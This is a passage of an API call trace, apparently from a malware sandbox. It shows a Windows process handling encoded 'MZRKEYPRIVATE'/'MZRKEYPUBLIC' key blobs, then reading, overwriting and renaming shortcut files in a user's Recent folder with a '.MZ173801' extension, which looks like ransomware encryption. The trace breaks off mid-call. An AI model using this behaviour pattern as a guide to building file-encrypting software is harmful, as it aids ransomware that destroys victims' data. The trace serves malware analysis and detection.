lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0152.589] GetCurrentThreadId () returned 0xab4 [0152.589] GetCurrentThreadId () returned 0xab4 [0152.589] GetCurrentThreadId () returned 0xab4 [0152.589] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0152.589] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0152.590] GetCurrentThreadId () returned 0xab4 [0152.590] GetCurrentThreadId () returned 0xab4 [0152.590] GetCurrentThreadId () returned 0xab4 [0152.590] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\W8V9x-I5M8DNxGO4p7hs.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\w8v9x-i5m8dnxgo4p7hs.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.590] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0152.590] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.590] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x2ba [0152.590] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.590] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x2ba, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x2ba, lpOverlapped=0x0) returned 1 [0152.591] CloseHandle (hObject=0x280) returned 1 [0152.591] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\W8V9x-I5M8DNxGO4p7hs.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\w8v9x-i5m8dnxgo4p7hs.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.593] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x2ba, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x2ba, lpOverlapped=0x0) returned 1 [0152.594] CloseHandle (hObject=0x280) returned 1 [0152.600] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\W8V9x-I5M8DNxGO4p7hs.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\w8v9x-i5m8dnxgo4p7hs.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\W8V9x-I5M8DNxGO4p7hs.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\w8v9x-i5m8dnxgo4p7hs.lnk.mz173801")) returned 1 [0152.601] GetCurrentThreadId () returned 0xab4 [0152.601] GetCurrentThreadId () returned 0xab4 [0152.601] GetCurrentThreadId () returned 0xab4 [0152.601] GetCurrentThreadId () returned 0xab4 [0152.601] GetCurrentThreadId () returned 0xab4 [0152.601] GetCurrentThreadId () returned 0xab4 [0152.601] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf36225ad, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf36225ad, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf36225ad, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x403, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="wHBTEKON3Jt-O3n64e.lnk", cAlternateFileName="WHBTEK~1.LNK")) returned 1 [0152.601] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0152.601] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0152.601] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wHBTEKON3Jt-O3n64e.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\whbtekon3jt-o3n64e.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf36225ad, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf36225ad, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf36225ad, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x403)) returned 1 [0152.601] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wHBTEKON3Jt-O3n64e.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\whbtekon3jt-o3n64e.lnk")) returned 0x20 [0152.601] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wHBTEKON3Jt-O3n64e.lnk", dwFileAttributes=0x80) returned 1 [0152.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0152.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 